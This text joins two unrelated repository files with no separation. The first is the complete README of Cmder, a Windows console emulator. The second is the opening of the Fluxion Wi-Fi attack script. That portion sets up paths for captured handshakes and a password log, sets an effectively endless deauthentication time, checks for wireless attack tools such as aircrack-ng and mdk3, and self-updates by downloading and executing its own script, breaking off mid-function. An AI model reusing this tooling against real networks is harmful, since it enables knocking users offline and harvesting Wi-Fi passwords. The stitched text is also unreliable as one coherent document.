Ch-Jad / CH JaDi Rajput1# Cmder [](https://gitter.im/cmderdev/cmder?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [](https://ci.appveyor.com/project/MartiUK/cmder) Cmder is a **software package** created out of pure frustration over absence of usable console emulator on Windows. It is based on [ConEmu](https://conemu.github.io/) with *major* config overhaul, comes with a Monokai color scheme, amazing [clink](https://chrisant996.github.io/clink/) (further enhanced by [clink-completions](https://github.com/vladimir-kotikov/clink-completions)) and a custom prompt layout.  ## Why use it The main advantage of Cmder is portability. It is designed to be totally self-contained with no external dependencies, which makes it great for **USB Sticks** or **cloud storage**. So you can carry your console, aliases and binaries (like wget, curl and git) with you anywhere. The Cmder's user interface is also designed to be more eye pleasing, and you can compare the main differences between Cmder and ConEmu [here](https://conemu.github.io/en/cmder.html). ## Installation ### Single User Portable Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive. *Note: This path should not be `C:\Program Files` or anywhere else that would require Administrator access for modifying configuration files* 3. (optional) Place your own executable files into the `%cmder_root%\bin` folder to be injected into your PATH. 4. Run `Cmder.exe` ### Shared Cmder install with Non-Portable Individual User Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive to a shared location. 3. (optional) Place your own executable files and custom app folders into the `%cmder_root%\bin`. See: [bin/README.md](./bin/Readme.md) - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. 4. (optional) Place your own custom app folders into the `%cmder_root%\opt`. See: [opt/README.md](./opt/Readme.md) - This folder will NOT be injected into your PATH so you have total control of what gets added. 5. Run `Cmder.exe` with `/C` command line argument. Example: `cmder.exe /C %userprofile%\cmder_config` * This will create the following directory structure if it is missing. ``` c:\users\[CH JaDi Rajput]\cmder_config ├───bin ├───config │ └───profile.d └───opt ``` - (optional) Place your own executable files and custom app folders into `%userprofile%\cmder_config\bin`. - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. - (optional) Place your own custom app folders into the `%user_profile%\cmder_config\opt`. - This folder will NOT be injected into your PATH so you have total control of what gets added. * Both the shared install and the individual user config locations can contain a full set of init and profile.d scripts enabling shared config with user overrides. See below. ## Cmder.exe Command Line Arguments | Argument | Description | | ------------------- | ----------------------------------------------------------------------- | | `/C [user_root_path]` | Individual user Cmder root folder. Example: `%userprofile%\cmder_config` | | `/M` | Use `conemu-%computername%.xml` for ConEmu settings storage instead of `user_conemu.xml` | | `/REGISTER [ALL, USER]` | Register a Windows Shell Menu shortcut. | | `/UNREGISTER [ALL, USER]` | Un-register a Windows Shell Menu shortcut. | | `/SINGLE` | Start Cmder in single mode. | | `/START [start_path]` | Folder path to start in. | | `/TASK [task_name]` | Task to start after launch. | | `/X [ConEmu extras pars]` | Forwards parameters to ConEmu | ## Context Menu Integration So you've experimented with Cmder a little and want to give it a shot in a more permanent home; ### Shortcut to open Cmder in a chosen folder 1. Open a terminal as an Administrator 2. Navigate to the directory you have placed Cmder 3. Execute `.\cmder.exe /REGISTER ALL` _If you get a message "Access Denied" ensure you are executing the command in an **Administrator** prompt._ In a file explorer window right click in or on a directory to see "Cmder Here" in the context menu. ## Keyboard shortcuts ### Tab manipulation * <kbd>Ctrl</kbd> + <kbd>T</kbd> : New tab dialog (maybe you want to open cmd as admin?) * <kbd>Ctrl</kbd> + <kbd>W</kbd> : Close tab * <kbd>Ctrl</kbd> + <kbd>D</kbd> : Close tab (if pressed on empty command) * <kbd>Shift</kbd> + <kbd>Alt</kbd> + <kbd>#Number</kbd> : Fast new tab: <kbd>1</kbd> - CMD, <kbd>2</kbd> - PowerShell * <kbd>Ctrl</kbd> + <kbd>Tab</kbd> : Switch to next tab * <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Tab</kbd> : Switch to previous tab * <kbd>Ctrl</kbd> + <kbd>#Number</kbd> : Switch to tab #Number * <kbd>Alt</kbd> + <kbd>Enter</kbd>: Fullscreen ### Shell * <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>U</kbd> : Traverse up in directory structure (lovely feature!) * <kbd>End</kbd>, <kbd>Home</kbd>, <kbd>Ctrl</kbd> : Traversing text with as usual on Windows * <kbd>Ctrl</kbd> + <kbd>R</kbd> : History search * <kbd>Shift</kbd> + Mouse : Select and copy text from buffer _(Some shortcuts are not yet documented, though they exist - please document them here)_ ## Features ### Access to multiple shells in one window using tabs You can open multiple tabs each containing one of the following shells: | Task | Shell | Description | | ---- | ----- | ----------- | | Cmder | `cmd.exe` | Windows `cmd.exe` shell enhanced with Git, Git aware prompt, Clink (GNU Readline), and Aliases. | | Cmder as Admin | `cmd.exe` | Administrative Windows `cmd.exe` Cmder shell. | | PowerShell | `powershell.exe` | Windows PowerShell enhanced with Git and Git aware prompt . | | PowerShell as Admin | `powershell.exe` | Administrative Windows `powershell.exe` Cmder shell. | | Bash | `bash.exe` | Unix/Linux like bash shell running on Windows. | | Bash as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. | | Mintty | `bash.exe` | Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | | Mintty as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | Cmder, PowerShell, and Bash tabs all run on top of the Windows Console API and work as you might expect in Cmder with access to use ConEmu's color schemes, key bindings and other settings defined in the ConEmu Settings dialog. ⚠ *NOTE:* Only the full edition of Cmder comes with a pre-installed bash, using a vendored [git-for-windows](https://gitforwindows.org/) installation. The pre-configured Bash tabs may not work on Cmder mini edition without additional configuration. You may however, choose to use an external installation of bash, such as Microsoft's [Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/install-win10) (called WSL) or the [Cygwin](https://cygwin.com/) project which provides POSIX support on windows. ⚠ *NOTE:* Mintty tabs use a program called 'mintty' as the terminal emulator that is not based on the Windows Console API, rather it's rendered graphically by ConEmu. Mintty differs from the other tabs in that it supports xterm/xterm-256color TERM types, and does not work with ConEmu settings like color schemes and key bindings. As such, some differences in functionality are to be expected, such as Cmder not being able to apply a system-wide configuration to it. As a result mintty specific config is done via the `[%USERPROFILE%|$HOME]/.minttyrc` file. You may read more about Mintty and its config file [here](https://github.com/mintty/mintty). An example of setting Cmder portable terminal colors for mintty: From a bash/mintty shell: ``` cd $CMDER_ROOT/vendor git clone https://github.com/karlin/mintty-colors-solarized.git cd mintty-colors-solarized/ echo source \$CMDER_ROOT/vendor/mintty-colors-solarized/mintty-solarized-dark.sh>>$CMDER_ROOT/config/user_profile.sh ``` You may find some Monokai color schemes for mintty to match Cmder [here](https://github.com/oumu/mintty-color-schemes/blob/master/base16-monokai-mod.minttyrc). ### Changing Cmder Default `cmd.exe` Prompt Config File The default Cmder shell `cmd::Cmder` prompt is customized using `Clink` and is configured by editing a config file that exists in one of two locations: - Single User Portable Config `%CMDER_ROOT%\config\cmder_prompt_config.lua` - Shared Cmder install with Non-Portable Individual User Config `%CMDER_USER_CONFIG%\cmder_prompt_config.lua` If your Cmder setup does not have this file create it from `%CMDER_ROOT%\vendor\cmder_prompt_config.lua.default` Customizations include: - Colors. - Single/Multi-line. - Full path/Folder only. - `[user]@[host]` to the beginning of the prompt. - `~` for home directory. - `λ` symbol Documentation is in the file for each setting. ### Changing Cmder Default `cmd.exe` Shell Startup Behaviour Using Task Arguments 1. Press <kbd>Win</kbd> + <kbd>Alt</kbd> + <kbd>T</kbd> 1. Click either: * `1. {cmd::Cmder as Admin}` * `2. {cmd::Cmder}` 1. Add command line arguments where specified below: *Note: Pay attention to the quotes!* ``` cmd /s /k ""%ConEmuDir%\..\init.bat" [ADD ARGS HERE]" ``` ##### Command Line Arguments for `init.bat` | Argument | Description | Default | | ----------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------- | | `/c [user cmder root]` | Enables user bin and config folders for 'Cmder as admin' sessions due to non-shared environment. | not set | | `/d` | Enables debug output. | not set | | `/f` | Enables Cmder Fast Init Mode. This disables some features, see pull request [#1492](https://github.com/cmderdev/cmder/pull/1942) for more details. | not set | | `/t` | Enables Cmder Timed Init Mode. This displays the time taken run init scripts | not set | | `/git_install_root [file path]` | User specified Git installation root path. | `%CMDER_ROOT%\vendor\Git-for-Windows` | | `/home [home folder]` | User specified folder path to set `%HOME%` environment variable. | `%userprofile%` | | `/max_depth [1-5]` | Define max recurse depth when adding to the path for `%cmder_root%\bin` and `%cmder_user_bin%` | 1 | | `/nix_tools [0-2]` | Define how `*nix` tools are added to the path. Prefer Windows Tools: 1, Prefer *nix Tools: 2, No `/usr/bin` in `%PATH%`: 0 | 1 | | `/svn_ssh [path to ssh.exe]` | Define `%SVN_SSH%` so we can use git svn with ssh svn repositories. | `%GIT_INSTALL_ROOT%\bin\ssh.exe` | | `/user_aliases [file path]` | File path pointing to user aliases. | `%CMDER_ROOT%\config\user_aliases.cmd` | | `/v` | Enables verbose output. | not set | | (custom arguments) | User defined arguments processed by `cexec`. Type `cexec /?` for more usage. | not set | ### Cmder Shell User Config Single user portable configuration is possible using the cmder specific shell config files. Edit the below files to add your own configuration: | Shell | Cmder Portable User Config | | ------------- | ----------------------------------------- | | Cmder | `%CMDER_ROOT%\config\user_profile.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\user_profile.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/user_profile.sh` | Note: Bash and Mintty sessions will also source the `$HOME/.bashrc` file if it exists after it sources `$CMDER_ROOT/config/user_profile.sh`. You can write `*.cmd|*.bat`, `*.ps1`, and `*.sh` scripts and just drop them in the `%CMDER_ROOT%\config\profile.d` folder to add startup config to Cmder. | Shell | Cmder `Profile.d` Scripts | | ------------- | -------------------------------------------------- | | Cmder | `%CMDER_ROOT%\config\profile.d\*.bat and *.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\profile.d\*.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/profile.d/*.sh` | #### Git Status Opt-Out To disable Cmder prompt git status globally add the following to `~/.gitconfig` or locally for a single repo `[repo]/.git/config` and start a new session. *Note: This configuration is not portable* ``` [cmder] status = false # Opt out of Git status for 'ALL' Cmder supported shells. cmdstatus = false # Opt out of Git status for 'Cmd.exe' shells. psstatus = false # Opt out of Git status for 'Powershell.exe and 'Pwsh.exe' shells. shstatus = false # Opt out of Git status for 'bash.exe' shells. ``` ### Aliases #### Cmder(`Cmd.exe`) Aliases You can define simple aliases for `cmd.exe` sessions with a command like `alias name=command`. Cmd.exe aliases support optional parameters through the `$1-9` or the `$*` special characters so the alias `vi=vim.exe $*` typed as `vi [filename]` will open `[filename]` in `vim.exe`. Cmd.exe aliases can also be more complex. See: [DOSKEY.EXE documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/doskey) for additional details on complex aliases/macros for `cmd.exe` Aliases defined using the `alias.bat` command will automatically be saved in the `%CMDER_ROOT%\config\user_aliases.cmd` file To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/init.bat`. Anything stored in `%CMDER_ROOT%` will be a portable setting and will follow cmder to another machine. * `%CMDER_ROOT%\config\profile.d\*.cmd` and `\*.bat` * `%CMDER_ROOT%\config\user_aliases.cmd` * `%CMDER_ROOT%\config\user_profile.cmd` #### Bash.exe|Mintty.exe Aliases Bash shells support simple and complex aliases with optional parameters natively so they work a little different. Typing `alias name=command` will create an alias only for the current running session. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/git-for-windows/etc/profile.d/cmder.sh`. Anything stored in `$CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$CMDER_ROOT/config/profile.d/*.sh` * `$CMDER_ROOT/config/user_profile.sh` * `$HOME/.bashrc` If you add bash aliases to `$CMDER_ROOT/config/user_profile.sh` they will be portable and follow your Cmder folder if you copy it to another machine. `$HOME/.bashrc` defined aliases are not portable. #### PowerShell.exe Aliases PowerShell has native simple alias support, for example `[new-alias | set-alias] alias command`, so complex aliases with optional parameters are not supported in PowerShell sessions. Type `get-help [new-alias|set-alias] -full` for help on PowerShell aliases. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$ENV:CMDER_ROOT\vendor\user_profile.ps1`. Anything stored in `$ENV:CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$ENV:CMDER_ROOT\config\profile.d\*.ps1` * `$ENV:CMDER_ROOT\config\user_profile.ps1` ### SSH Agent To start the vendored SSH agent simply call `start-ssh-agent`, which is in the `vendor/git-for-windows/cmd` folder. If you want to run SSH agent on startup, include the line `@call "%GIT_INSTALL_ROOT%/cmd/start-ssh-agent.cmd"` in `%CMDER_ROOT%/config/user_profile.cmd` (usually just uncomment it). ### Vendored Git Cmder is by default shipped with a vendored Git installation. On each instance of launching Cmder, an attempt is made to locate any other user provided Git binaries. Upon finding a `git.exe` binary, Cmder further compares its version against the vendored one _by executing_ it. The vendored `git.exe` binary is _only_ used when it is more recent than the user-installed one. You may use your favorite version of Git by including its path in the `%PATH%` environment variable. Moreover, the **Mini** edition of Cmder (found on the [downloads page](https://github.com/cmderdev/cmder/releases)) excludes any vendored Git binaries. ### Using external Cygwin/Babun, MSys2, WSL, or Git for Windows SDK with Cmder. You may run bash (the default shell used on Linux, macOS and GNU/Hurd) externally on Cmder, using the following instructions: 1. Setup a new task by pressing <kbd>Win</kbd> +<kbd>Alt</kbd> + <kbd>T</kbd>. 1. Click the `+` button to add a task. 1. Name the new task in the top text box. 1. Provide task parameters, this is optional. 1. Add `cmd /c "[path_to_external_env]\bin\bash --login -i" -new_console` to the `Commands` text box. **Recommended Optional Steps:** Copy the `vendor/cmder_exinit` file to the Cygwin/Babun, MSys2, or Git for Windows SDK environments `/etc/profile.d/` folder to use portable settings in the `$CMDER_ROOT/config` folder. Note: MinGW could work if the init scripts include `profile.d` but this has not been tested. The destination file extension depends on the shell you use in that environment. For example: * bash - Copy to `/etc/profile.d/cmder_exinit.sh` * zsh - Copy to `/etc/profile.d/cmder_exinit.zsh` Uncomment and edit the below line in the script to use Cmder config even when launched from outside Cmder. ``` # CMDER_ROOT=${USERPROFILE}/cmder # This is not required if launched from Cmder. ``` ### Customizing user sessions using `init.bat` custom arguments. You can pass custom arguments to `init.bat` and use `cexec.cmd` in your `user_profile.cmd` to evaluate these arguments then execute commands based on a particular flag being detected or not. `init.bat` creates two shortcuts for using `cexec.cmd` in your profile scripts. #### `%ccall%` - Evaluates flags, runs commands if found, and returns to the calling script and continues. ``` ccall=call C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%ccall% /startnotepad start notepad.exe` #### `%cexec%` - Evaluates flags, runs commands if found, and does not return to the calling script. ``` cexec=C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%cexec% /startnotepad start notepad.exe` It is useful when you have multiple tasks to execute `cmder` and need it to initialize the session differently depending on the task chosen. To conditionally start `notepad.exe` when you start a specific `cmder` task: * Press <kbd>win</kbd>+<kbd>alt</kbd>+<kbd>t</kbd> * Click `+` to add a new task. * Add the below to the `Commands` block: ```batch cmd.exe /k ""%ConEmuDir%\..\init.bat" /startnotepad" ``` * Add the below to your `%cmder_root%\config\user_profile.cmd` ```batch %ccall% "/startNotepad" "start" "notepad.exe"` ``` To see detailed usage of `cexec`, type `cexec /?` in cmder. ### Integrating Cmder with [Hyper](https://github.com/zeit/hyper), [Microsoft VS Code](https://code.visualstudio.com/), and your favorite IDEs Cmder by default comes with a vendored ConEmu installation as the underlying terminal emulator, as stated [here](https://conemu.github.io/en/cmder.html). However, Cmder can in fact run in a variety of other terminal emulators, and even integrated IDEs. Assuming you have the latest version of Cmder, follow the following instructions to get Cmder working with your own terminal emulator. For instructions on how to integrate Cmder with your IDE, please read our [Wiki section](https://github.com/cmderdev/cmder/wiki#cmder-integration). ## Upgrading The process of upgrading Cmder depends on the version/build you are currently running. If you have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running a newer version of Cmder, follow the below process: 1. Exit all Cmder sessions and relaunch `[cmder_root]/cmder.exe`, this backs up your existing `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. * The `[cmder_root]/config/user[-|_]conemu.xml` contains any custom settings you have made using the 'Setup Tasks' settings dialog. 2. Exit all Cmder sessions and backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. If you do not have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running an older version of cmder, follow the below process: 1. Exit all Cmder sessions and backup `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. 2. Backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. ## Current development builds You can download builds of the current development branch by going to AppVeyor via the following link: [](https://ci.appveyor.com/project/MartiUK/cmder/branch/master/artifacts) ## License All software included is bundled with own license The MIT License (MIT) Copyright (c) 2016 Samuel Vasko Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Emersonmafra / F#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" 